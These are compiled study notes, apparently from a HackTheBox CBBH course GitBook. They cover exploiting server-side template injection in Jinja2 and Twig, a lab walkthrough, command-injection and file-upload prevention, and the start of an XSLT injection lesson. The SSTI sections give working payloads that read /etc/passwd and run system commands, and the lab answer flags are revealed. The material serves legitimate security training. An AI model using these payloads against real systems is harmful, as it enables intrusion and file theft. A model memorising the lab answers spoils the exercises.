with the payload `{{7*7}}`, students will confirm the server is using `Twig` as its templating engine: Code: shell Code: http With the knowledge that we are now working with `Twig`, students need to look for a way to read local files, or achieve outright remote code execution (which will then be used to read the flag.) Therefore, students need to use the PHP built-in function `system` and pass an argument to it via Twig's `filter` function, ultimately reading the contents of the flag: Code: twig Additionally, students need to URL encode spaces and the pipe character, making the final payload appear as follows: Code: shell ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fwalkthroughs%2F53%2FServer-Side_Attacks_Walkthrough_Image_24.png&width=768&dpr=3&quality=100&sign=5849f6e4&sv=2) Server-Side\_Attacks\_Walkthrough\_Image\_24.png Answer: {hidden} [PreviousSkills Assessment](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/skills-assessment) [NextIntro](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/intro) Last updated 8 months ago * [Server-Side Attacks - Skills Assessment](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/skills-assessment/rewalk#server-side-attacks-skills-assessment) * [Question 1](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/skills-assessment/rewalk#question-1) Copy {"id": "FusionExpress01", "location": "321 Maple Lane"} Copy api=http://truckapi.htb/?id%3D{{7*7}} Copy HTTP/1.1 200 OK Date: Wed, 14 Aug 2024 22:47:55 GMT Server: Apache/2.4.59 (Debian) Content-Length: 43 Connection: close Content-Type: text/html; charset=UTF-8 {"id": "49", "location": "134 Main Street"} Copy {{ ['cat /flag.txt'] | filter('system') }} Copy api=http://truckapi.htb/?id%3D{{%2b['cat%2b/flag.txt']%2b%7C%2bfilter('system')%2b}} --- # Command Injection Prevention | CBBH For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt) . This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/prevention/command-injection-prevention.md) . Command Injection Prevention[](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/prevention/command-injection-prevention#command-injection-prevention) ----------------------------------------------------------------------------------------------------------------------------------------------------------------- * * * We should now have a solid understanding of how command injection vulnerabilities occur and how certain mitigations like character and command filters may be bypassed. This section will discuss methods we can use to prevent command injection vulnerabilities in our web applications and properly configure the webserver to prevent them. * * * ### System Commands[](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/prevention/command-injection-prevention#system-commands) We should always avoid using functions that execute system commands, especially if we are using user input with them. Even when we are not directly inputting user input into these functions, a user may be able to indirectly influence them, which may eventually lead to a command injection vulnerability. Instead of using system command execution functions, we should use built-in functions that perform the needed functionality, as back-end languages usually have secure implementations of these types of functionalities. For example, suppose we wanted to test whether a particular host is alive with `PHP`. In that case, we may use the `fsockopen` function instead, which should not be exploitable to execute arbitrary system commands. If we needed to execute a system command, and no built-in function can be found to perform the same functionality, we should never directly use the user input with these functions but should always validate and sanitize the user input on the back-end. Furthermore, we should try to limit our use of these types of functions as much as possible and only use them when there's no built-in alternative to the functionality we require. * * * ### Input Validation[](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/prevention/command-injection-prevention#input-validation) Whether using built-in functions or system command execution functions, we should always validate and then sanitize the user input. Input validation is done to ensure it matches the expected format for the input, such that the request is denied if it does not match. In our example web application, we saw that there was an attempt at input validation on the front-end, but `input validation should be done both on the front-end and on the back-end`. In `PHP`, like many other web development languages, there are built in filters for a variety of standard formats, like emails, URLs, and even IPs, which can be used with the `filter_var` function, as follows: Code: php Copy if (filter_var($_GET['ip'], FILTER_VALIDATE_IP)) { // call function } else { // deny request } If we wanted to validate a different non-standard format, then we can use a Regular Expression `regex` with the `preg_match` function. The same can be achieved with `JavaScript` for both the front-end and back-end (i.e. `NodeJS`), as follows: Code: javascript Just like `PHP`, with `NodeJS`, we can also use libraries to validate various standard formats, like [is-ip](https://www.npmjs.com/package/is-ip) for example, which we can install with `npm`, and then use the `isIp(ip)` function in our code. You can read the manuals of other languages, like [.NET](https://learn.microsoft.com/en-us/aspnet/web-pages/overview/ui-layouts-and-themes/validating-user-input-in-aspnet-web-pages-sites) or [Java](https://docs.oracle.com/cd/E13226_01/workshop/docs81/doc/en/workshop/guide/netui/guide/conValidatingUserInput.html?skipReload=true) , to find out how to validate user input on each respective language. * * * ### Input Sanitization[](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/prevention/command-injection-prevention#input-sanitization) The most critical part for preventing any injection vulnerability is input sanitization, which means removing any non-necessary special characters from the user input. Input sanitization is always performed after input validation. Even after we validated that the provided user input is in the proper format, we should still perform sanitization and remove any special characters not required for the specific format, as there are cases where input validation may fail (e.g., a bad regex). In our example code, we saw that when we were dealing with character and command filters, it was blacklisting certain words and looking for them in the user input. Generally, this is not a good enough approach to preventing injections, and we should use built-in functions to remove any special characters. We can use `preg_replace` to remove any special characters from the user input, as follows: Code: php As we can see, the above regex only allows alphanumerical characters (`A-Za-z0-9`) and allows a dot character (`.`) as required for IPs. Any other characters will be removed from the string. The same can be done with `JavaScript`, as follows: Code: javascript We can also use the DOMPurify library for a `NodeJS` back-end, as follows: Code: javascript In certain cases, we may want to allow all special characters (e.g., user comments), then we can use the same `filter_var` function we used with input validation, and use the `escapeshellcmd` filter to escape any special characters, so they cannot cause any injections. For `NodeJS`, we can simply use the `escape(ip)` function. `However, as we have seen in this module, escaping special characters is usually not considered a secure practice, as it can often be bypassed through various techniques`. For more on user input validation and sanitization to prevent command injections, you may refer to the [Secure Coding 101: JavaScript](https://academy.hackthebox.com/course/preview/secure-coding-101-javascript) module, which covers how to audit the source code of a web application to identify command injection vulnerabilities, and then works on properly patching these types of vulnerabilities. * * * ### Server Configuration[](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/prevention/command-injection-prevention#server-configuration) Finally, we should make sure that our back-end server is securely configured to reduce the impact in the event that the webserver is compromised. Some of the configurations we may implement are: * Use the web server's built-in Web Application Firewall (e.g., in Apache `mod_security`), in addition to an external WAF (e.g. `Cloudflare`, `Fortinet`, `Imperva`..) * Abide by the [Principle of Least Privilege (PoLP)](https://en.wikipedia.org/wiki/Principle_of_least_privilege) by running the web server as a low privileged user (e.g. `www-data`) * Prevent certain functions from being executed by the web server (e.g., in PHP `disable_functions=system,...`) * Limit the scope accessible by the web application to its folder (e.g. in PHP `open_basedir = '/var/www/html'`) * Reject double-encoded requests and non-ASCII characters in URLs * Avoid the use of sensitive/outdated libraries and modules (e.g. [PHP CGI](https://www.php.net/manual/en/install.unix.commandline.php) ) In the end, even after all of these security mitigations and configurations, we have to perform the penetration testing techniques we learned in this module to see if any web application functionality may still be vulnerable to command injection. As some web applications have millions of lines of code, any single mistake in any line of code may be enough to introduce a vulnerability. So we must try to secure the web application by complementing secure coding best practices with thorough penetration testing. [PreviousPrevention](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/prevention) [NextSkills Assesment](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/skills-assesment) Last updated 1 year ago * [Command Injection Prevention](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/prevention/command-injection-prevention#command-injection-prevention) * [System Commands](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/prevention/command-injection-prevention#system-commands) * [Input Validation](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/prevention/command-injection-prevention#input-validation) * [Input Sanitization](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/prevention/command-injection-prevention#input-sanitization) * [Server Configuration](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/prevention/command-injection-prevention#server-configuration) Copy if(/^(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$/.test(ip)){ // call function } else{ // deny request } Copy $ip = preg_replace('/[^A-Za-z0-9.]/', '', $_GET['ip']); Copy var ip = ip.replace(/[^A-Za-z0-9.]/g, ''); Copy import DOMPurify from 'dompurify'; var ip = DOMPurify.sanitize(ip); --- # Preventing File Upload Vulnerabilities | CBBH For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt) . This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/preventing-file-upload-vulnerabilities.md) . * * * Throughout this module, we have discussed various methods of exploiting different file upload vulnerabilities. In any penetration test or bug bounty exercise we take part in, we must be able to report action points to be taken to rectify the identified vulnerabilities. This section will discuss what we can do to ensure that our file upload functions are securely coded and safe against exploitation and what action points we can recommend for each type of file upload vulnerability. * * * ### Extension Validation[](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/preventing-file-upload-vulnerabilities#extension-validation) The first and most common type of upload vulnerabilities we discussed in this module was file extension validation. File extensions play an important role in how files and scripts are executed, as most web servers and web applications tend to use file extensions to set their execution properties. This is why we should make sure that our file upload functions can securely handle extension validation. While whitelisting extensions is always more secure, as we have seen previously, it is recommended to use both by whitelisting the allowed extensions and blacklisting dangerous extensions. This way, the blacklist list will prevent uploading malicious scripts if the whitelist is ever bypassed (e.g. `shell.php.jpg`). The following example shows how this can be done with a PHP web application, but the same concept can be applied to other frameworks: Code: php Copy $fileName = basename($_FILES["uploadFile"]["name"]); // blacklist test if (preg_match('/^.*\.ph(p|ps|ar|tml)/', $fileName)) { echo "Only images are allowed"; die(); } // whitelist test if (!preg_match('/^.*\.(jpg|jpeg|png|gif)$/', $fileName)) { echo "Only images are allowed"; die(); } We see that with blacklisted extension, the web application checks `if the extension exists anywhere within the file name`, while with whitelists, the web application checks `if the file name ends with the extension`. Furthermore, we should also apply both back-end and front-end file validation. Even if front-end validation can be easily bypassed, it reduces the chances of users uploading unintended files, thus potentially triggering a defense mechanism and sending us a false alert. * * * ### Content Validation[](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/preventing-file-upload-vulnerabilities#content-validation) As we have also learned in this module, extension validation is not enough, as we should also validate the file content. We cannot validate one without the other and must always validate both the file extension and its content. Furthermore, we should always make sure that the file extension matches the file's content. The following example shows us how we can validate the file extension through whitelisting, and validate both the File Signature and the HTTP Content-Type header, while ensuring both of them match our expected file type: Code: php * * * ### Upload Disclosure[](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/preventing-file-upload-vulnerabilities#upload-disclosure) Another thing we should avoid doing is disclosing the uploads directory or providing direct access to the uploaded file. It is always recommended to hide the uploads directory from the end-users and only allow them to download the uploaded files through a download page. We may write a `download.php` script to fetch the requested file from the uploads directory and then download the file for the end-user. This way, the web application hides the uploads directory and prevents the user from directly accessing the uploaded file. This can significantly reduce the chances of accessing a maliciously uploaded script to execute code. If we utilize a download page, we should ensure that the `download.php` script enforces strict authorization checks and path validation. The server must verify that the requested file is owned by, or accessible to, the authenticated user to prevent Insecure Direct Object Reference (IDOR) vulnerabilities. To defend against Local File Inclusion (LFI), the script should avoid using unvalidated or unsanitized user input in file paths and enforce a strict allowlist of accessible files and directories. Additionally, users should not have direct access to the uploads directory. Any direct requests to this directory should return a `403 Forbidden` response. Instead, files should be served through the controlled script using security-focused HTTP headers such as: * `Content-Disposition`: Used to specify how the content should be displayed in the browser. Setting it to `attachment` instructs the browser to download the file rather than render it inline. * `Content-Type`: Specifies the MIME type of the file, ensuring that the browser knows how to handle the file content appropriately. * `X-Content-Type-Options: nosniff`: Prevents the browser from MIME-type sniffing, which helps mitigate security risks by ensuring that the browser adheres strictly to the specified `Content-Type`. In addition to restricting the uploads directory, we should also randomize the names of the uploaded files in storage and store their "sanitized" original names in a database. When the `download.php` script needs to download a file, it fetches its original name from the database and provides it at download time for the user. This way, users will neither know the uploads directory nor the uploaded file name. We can also avoid vulnerabilities caused by injections in the file names, as we saw in the previous section. Another thing we can do is store the uploaded files in a separate server or container. If an attacker can gain remote code execution, they would only compromise the uploads server, not the entire back-end server. Furthermore, web servers can be configured to prevent web applications from accessing files outside their restricted directories by using configurations like (`open_basedir`) in PHP. * * * ### Further Security[](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/preventing-file-upload-vulnerabilities#further-security) The above tips should significantly reduce the chances of uploading and accessing a malicious file. We can take a few other measures to ensure that the back-end server is not compromised if any of the above measures are bypassed. A critical configuration we can add is disabling specific functions that may be used to execute system commands through the web application. For example, to do so in PHP, we can use the `disable_functions` configuration in `php.ini` and add such dangerous functions, like `exec`, `shell_exec`, `system`, `passthru`, and a few others. Another thing we should do is to disable showing any system or server errors, to avoid sensitive information disclosure. We should always handle errors at the web application level and print out simple errors that explain the error without disclosing any sensitive or specific details, like the file name, uploads directory, or the raw errors. Finally, the following are a few other tips we should consider for our web applications: * Limit file size * Update any used libraries * Scan uploaded files for malware or malicious strings * Utilize a Web Application Firewall (WAF) as a secondary layer of protection Once we perform all of the security measures discussed in this section, the web application should be relatively secure and not vulnerable to common file upload threats. When performing a web penetration test, we can use these points as a checklist and provide any missing ones to the developers to fill any remaining gaps. [PreviousOther Upload Attacks](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/other-upload-attacks/other-upload-attacks) [NextSkills Assessment](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/skills-assessment) Last updated 9 months ago * [Extension Validation](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/preventing-file-upload-vulnerabilities#extension-validation) * [Content Validation](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/preventing-file-upload-vulnerabilities#content-validation) * [Upload Disclosure](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/preventing-file-upload-vulnerabilities#upload-disclosure) * [Further Security](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/preventing-file-upload-vulnerabilities#further-security) Copy $fileName = basename($_FILES["uploadFile"]["name"]); $contentType = $_FILES['uploadFile']['type']; $MIMEtype = mime_content_type($_FILES['uploadFile']['tmp_name']); // whitelist test if (!preg_match('/^.*\.png$/', $fileName)) { echo "Only PNG images are allowed"; die(); } // content test foreach (array($contentType, $MIMEtype) as $type) { if (!in_array($type, array('image/png'))) { echo "Only PNG images are allowed"; die(); } } --- # Exploiting SSTI - Jinja2 | CBBH For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt) . This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssti/exploiting-ssti-jinja2.md) . Exploiting SSTI - Jinja2[](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssti/exploiting-ssti-jinja2#exploiting-ssti-jinja2) -------------------------------------------------------------------------------------------------------------------------------------------- * * * Now that we have seen how to identify the template engine used by a web application vulnerable to SSTI, we will move on to the exploitation of SSTI. In this section, we will assume that we have successfully identified that the web application uses the `Jinja` template engine. We will only focus on the SSTI exploitation and thus assume that the SSTI confirmation and template engine identification have already been done in a previous step. Jinja is a template engine commonly used in Python web frameworks such as `Flask` or `Django`. This section will focus on a `Flask` web application. The payloads in other web frameworks might thus be slightly different. In our payload, we can freely use any libraries that are already imported by the Python application, either directly or indirectly. Additionally, we may be able to import additional libraries through the use of the `import` statement. * * * ### Information Disclosure[](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssti/exploiting-ssti-jinja2#information-disclosure) We can exploit the SSTI vulnerability to obtain internal information about the web application, including configuration details and the web application's source code. For instance, we can obtain the web application's configuration using the following SSTI payload: Code: jinja2 Copy {{ config.items() }} arrow-circle-left redo home ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F145%2Fssti%2Fssti_exploitation_1_1.png&width=768&dpr=3&quality=100&sign=383e92eb&sv=2) Since this payload dumps the entire web application configuration, including any used secret keys, we can prepare further attacks using the obtained information. We can also execute Python code to obtain information about the web application's source code. We can use the following SSTI payload to dump all available built-in functions: Code: jinja2 arrow-circle-left redo home ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F145%2Fssti%2Fssti_exploitation_1_2.png&width=768&dpr=3&quality=100&sign=aad6c954&sv=2) * * * ### Local File Inclusion (LFI)[](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssti/exploiting-ssti-jinja2#local-file-inclusion-lfi) We can use Python's built-in function `open` to include a local file. However, we cannot call the function directly; we need to call it from the `__builtins__` dictionary we dumped earlier. This results in the following payload to include the file `/etc/passwd`: Code: jinja2 arrow-circle-left redo home ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F145%2Fssti%2Fssti_exploitation_1_3.png&width=768&dpr=3&quality=100&sign=1efa6b95&sv=2) * * * ### Remote Code Execution (RCE)[](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssti/exploiting-ssti-jinja2#remote-code-execution-rce) To achieve remote code execution in Python, we can use functions provided by the `os` library, such as `system` or `popen`. However, if the web application has not already imported this library, we must first import it by calling the built-in function `import`. This results in the following SSTI payload: Code: jinja2 arrow-circle-left redo home ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F145%2Fssti%2Fssti_exploitation_1_4.png&width=768&dpr=3&quality=100&sign=ce1185e6&sv=2) ### Q: Exploit the SSTI vulnerability to obtain RCE and read the flag.[](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssti/exploiting-ssti-jinja2#q-exploit-the-ssti-vulnerability-to-obtain-rce-and-read-the-flag) you can try command and instead of 'id' do 'ls' ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2F1842858984-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FysDlYrLDpld6VwcWEx4H%252Fuploads%252Fq3PzJLzRaVt1vhzpI8LV%252Fimage.png%3Falt%3Dmedia%26token%3D7a55829f-820a-4583-aa45-ef5ad7d3a394&width=768&dpr=3&quality=100&sign=21ffd39e&sv=2) Now try to cat the flag.tx with this payload A: HTB{295649e25b4d852185ba34907ec80643} [PreviousIdentifying SSTI](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssti/identifying-ssti) [NextExploiting SSTI - Twig](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssti/exploiting-ssti-twig) Last updated 10 months ago * [Exploiting SSTI - Jinja2](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssti/exploiting-ssti-jinja2#exploiting-ssti-jinja2) * [Information Disclosure](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssti/exploiting-ssti-jinja2#information-disclosure) * [Local File Inclusion (LFI)](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssti/exploiting-ssti-jinja2#local-file-inclusion-lfi) * [Remote Code Execution (RCE)](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssti/exploiting-ssti-jinja2#remote-code-execution-rce) * [Q: Exploit the SSTI vulnerability to obtain RCE and read the flag.](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssti/exploiting-ssti-jinja2#q-exploit-the-ssti-vulnerability-to-obtain-rce-and-read-the-flag) Copy {{ self.__init__.__globals__.__builtins__ }} Copy {{ self.__init__.__globals__.__builtins__.open("/etc/passwd").read() }} Copy {{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }} Copy {{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }} Copy # Cat the flag.txt {{ self.__init__.__globals__.__builtins__.__import__('os').popen('cat flag.txt').read() }} --- # Exploiting SSTI - Twig | CBBH For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt) . This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssti/exploiting-ssti-twig.md) . Exploiting SSTI - Twig[](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssti/exploiting-ssti-twig#exploiting-ssti-twig) -------------------------------------------------------------------------------------------------------------------------------------- * * * In this section, we will explore another example of SSTI exploitation. In the previous section, we discussed exploiting SSTI in the `Jinja` template engine. This section will discuss exploiting SSTI in the `Twig` template engine. Like in the previous section, we will only focus on the SSTI exploitation and thus assume that the SSTI confirmation and template engine identification have already been done in a previous step. Twig is a template engine for the PHP programming language. * * * ### Information Disclosure[](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssti/exploiting-ssti-twig#information-disclosure) In Twig, we can use the `_self` keyword to obtain a little information about the current template: Code: twig Copy {{ _self }} arrow-circle-left redo home ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F145%2Fssti%2Fssti_exploitation_2_1.png&width=768&dpr=3&quality=100&sign=f1983330&sv=2) However, as we can see, the amount of information is limited compared to `Jinja`. * * * ### Local File Inclusion (LFI)[](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssti/exploiting-ssti-twig#local-file-inclusion-lfi) Reading local files (without using the same way as we will use for RCE) is not possible using internal functions directly provided by Twig. However, the PHP web framework [Symfony](https://symfony.com/) defines additional Twig filters. One of these filters is [file\_excerpt](https://symfony.com/doc/current/reference/twig_reference.html#file-excerpt) and can be used to read local files: Code: twig arrow-circle-left redo home ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F145%2Fssti%2Fssti_exploitation_1_3.png&width=768&dpr=3&quality=100&sign=1efa6b95&sv=2) * * * ### Remote Code Execution (RCE)[](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssti/exploiting-ssti-twig#remote-code-execution-rce) To achieve remote code execution, we can use a PHP built-in function such as `system`. We can pass an argument to this function by using Twig's `filter` function, resulting in any of the following SSTI payloads: Code: twig arrow-circle-left redo home ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F145%2Fssti%2Fssti_exploitation_2_3.png&width=768&dpr=3&quality=100&sign=7e07ec26&sv=2) * * * ### Further Remarks[](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssti/exploiting-ssti-twig#further-remarks) This module explored exploiting SSTI in the `Jinja` and `Twig` template engines. As we have seen, the syntax of each template engine is slightly different. However, the general idea behind SSTI exploitation remains the same. Therefore, exploiting an SSTI in a template engine the attacker is unfamiliar with is often as simple as becoming familiar with the syntax and supported features of that particular template engine. An attacker can achieve this by reading the template engine's documentation. However, there are also SSTI cheat sheets that bundle payloads for popular template engines, such as the [PayloadsAllTheThings SSTI CheatSheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md) . ### Q: Exploit the SSTI vulnerability to obtain RCE and read the flag.[](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssti/exploiting-ssti-twig#q-exploit-the-ssti-vulnerability-to-obtain-rce-and-read-the-flag) Try this command ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2F1842858984-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FysDlYrLDpld6VwcWEx4H%252Fuploads%252FEyFrEMWYuIzBZ2sqGM3W%252Fimage.png%3Falt%3Dmedia%26token%3D2000f053-22c4-44e2-901b-6b54fbf6ac2a&width=768&dpr=3&quality=100&sign=aedb0de6&sv=2) After some decent enumeration we see that the flag can be located with this command ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2F1842858984-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FysDlYrLDpld6VwcWEx4H%252Fuploads%252F1zL7HhfN4jPKgpvxpLNX%252Fimage.png%3Falt%3Dmedia%26token%3Ddc608832-ec92-4101-8c2f-56ab3451e947&width=768&dpr=3&quality=100&sign=ebb28406&sv=2) Now cat the flag with this command ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2F1842858984-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FysDlYrLDpld6VwcWEx4H%252Fuploads%252FRHlcgidrqznWSYN5Pdbf%252Fimage.png%3Falt%3Dmedia%26token%3D2c10da86-3947-4dc6-9270-b723e9223d9b&width=768&dpr=3&quality=100&sign=84372b1b&sv=2) A: HTB{5034a6692604de344434ae83f1cdbec6} [PreviousExploiting SSTI - Jinja2](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssti/exploiting-ssti-jinja2) [NextSSI Injection](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssi-injection) Last updated 10 months ago * [Exploiting SSTI - Twig](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssti/exploiting-ssti-twig#exploiting-ssti-twig) * [Information Disclosure](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssti/exploiting-ssti-twig#information-disclosure) * [Local File Inclusion (LFI)](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssti/exploiting-ssti-twig#local-file-inclusion-lfi) * [Remote Code Execution (RCE)](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssti/exploiting-ssti-twig#remote-code-execution-rce) * [Further Remarks](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssti/exploiting-ssti-twig#further-remarks) * [Q: Exploit the SSTI vulnerability to obtain RCE and read the flag.](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssti/exploiting-ssti-twig#q-exploit-the-ssti-vulnerability-to-obtain-rce-and-read-the-flag) Copy {{ "/etc/passwd"|file_excerpt(1,-1) }} Copy {{ ['id'] | filter('system') }} Copy {{ ['id'] | filter('system') }} Copy {{ ['ls ../../../'] | filter('system') }} Copy {{ ['cat ../../../flag.txt'] | filter('system') }} --- # Exploitation | CBBH For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt) . This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/exploitation.md) . [Detection](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/exploitation/detection) [Injecting Commands](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/exploitation/injecting-commands) [Other Injection Operators](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/exploitation/other-injection-operators) [PreviousCheat Sheet](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/cheat-sheet) [NextDetection](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/exploitation/detection) Last updated 1 year ago --- # Exploiting XSLT Injection | CBBH For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt) . This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/xslt-injection/exploiting-xslt-injection.md) . * * * After discussing some basics and use cases for XSLT, let us dive into exploiting XSLT injection vulnerabilities. * * * ### Identifying XSLT Injection[](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/xslt-injection/exploiting-xslt-injection#identifying-xslt-injection) Our sample web application displays basic information about some Academy modules: arrow-circle-left redo home ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F145%2Fxslt%2Fxslt_exploitation_1.png&width=768&dpr=3&quality=100&sign=1b50dd8b&sv=2) At the bottom of the page, we can provide a username that is inserted into the headline at the top of the list: arrow-circle-left redo home ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F145%2Fxslt%2Fxslt_exploitation_2.png&width=768&dpr=3&quality=100&sign=bc6814f4&sv=2) As we can see, the name we provide is reflected on the page. Suppose the web application stores the module information in an XML document and displays the data using XSLT processing. In that case, it might suffer from XSLT injection if our name is inserted without sanitization before XSLT processing. To confirm that, let us try to inject a broken XML tag to try to provoke an error in the web application. We can achieve this by providing the username `<`: arrow-circle-left redo home![HTTP GET request to /index.php with name parameter; response shows 500 Internal Server Error.](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F145%2Fxslt%2Fxslt_exploitation_3.png&width=300&dpr=3&quality=100&sign=688147b5&sv=2) As we can see, the web application responds with a server error. While this does not confirm that an XSLT injection vulnerability is present, it might indicate the presence of a security issue. * * * ### Information Disclosure[](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/xslt-injection/exploiting-xslt-injection#information-disclosure) We can try to infer some basic information about the XSLT processor in use by injecting the following XSLT elements: Code: xml The web application provides the following response: arrow-circle-left redo home ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F145%2Fxslt%2Fxslt_exploitation_4.png&width=768&dpr=3&quality=100&sign=ba998c06&sv=2) Since the web application interpreted the XSLT elements we provided, this confirms an XSLT injection vulnerability. Furthermore, we can deduce that the web application seems to rely on the `libxslt` library and supports XSLT version `1.0`. * * * ### 